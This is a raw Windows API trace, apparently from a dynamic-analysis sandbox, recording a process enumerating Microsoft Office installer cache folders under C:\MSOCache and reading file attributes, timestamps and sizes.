	[0050.282] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), fInfoLevelId=0x0, lpFileInformation=0x12734a58 | out: lpFileInformation=0x12734a58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f)) returned 1
	[0050.282] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x12734aa8 | out: lpFileInformation=0x12734aa8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.283] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.283] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.287] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.287] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1
	[0050.287] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1
	[0050.287] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1
	[0050.287] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.287] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.287] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.288] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), fInfoLevelId=0x0, lpFileInformation=0x12734c38 | out: lpFileInformation=0x12734c38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1
	[0050.289] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x12734c88 | out: lpFileInformation=0x12734c88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646)) returned 1
	[0050.289] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x12734cd8 | out: lpFileInformation=0x12734cd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8)) returned 1
	[0050.290] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x12734d28 | out: lpFileInformation=0x12734d28*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4)) returned 1
	[0050.290] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x12734d78 | out: lpFileInformation=0x12734d78*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.292] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.292] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.293] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.293] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1
	[0050.293] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1
	[0050.293] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1
	[0050.293] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.293] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.293] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.294] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x12734f08 | out: lpFileInformation=0x12734f08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd)) returned 1
	[0050.295] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x12734f58 | out: lpFileInformation=0x12734f58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400)) returned 1
	[0050.296] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x12734fa8 | out: lpFileInformation=0x12734fa8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac)) returned 1
	[0050.297] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x12734ff8 | out: lpFileInformation=0x12734ff8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1
	[0050.298] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x12735048 | out: lpFileInformation=0x12735048*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.298] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.298] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1
	[0050.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1
	[0050.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1
	[0050.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.300] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.300] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.301] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x127351d8 | out: lpFileInformation=0x127351d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f)) returned 1
	[0050.302] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), fInfoLevelId=0x0, lpFileInformation=0x12735228 | out: lpFileInformation=0x12735228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400)) returned 1
	[0050.302] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x12735278 | out: lpFileInformation=0x12735278*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391)) returned 1
	[0050.303] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x127352c8 | out: lpFileInformation=0x127352c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac)) returned 1
	[0050.303] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x12735318 | out: lpFileInformation=0x12735318*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.303] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.303] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.304] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
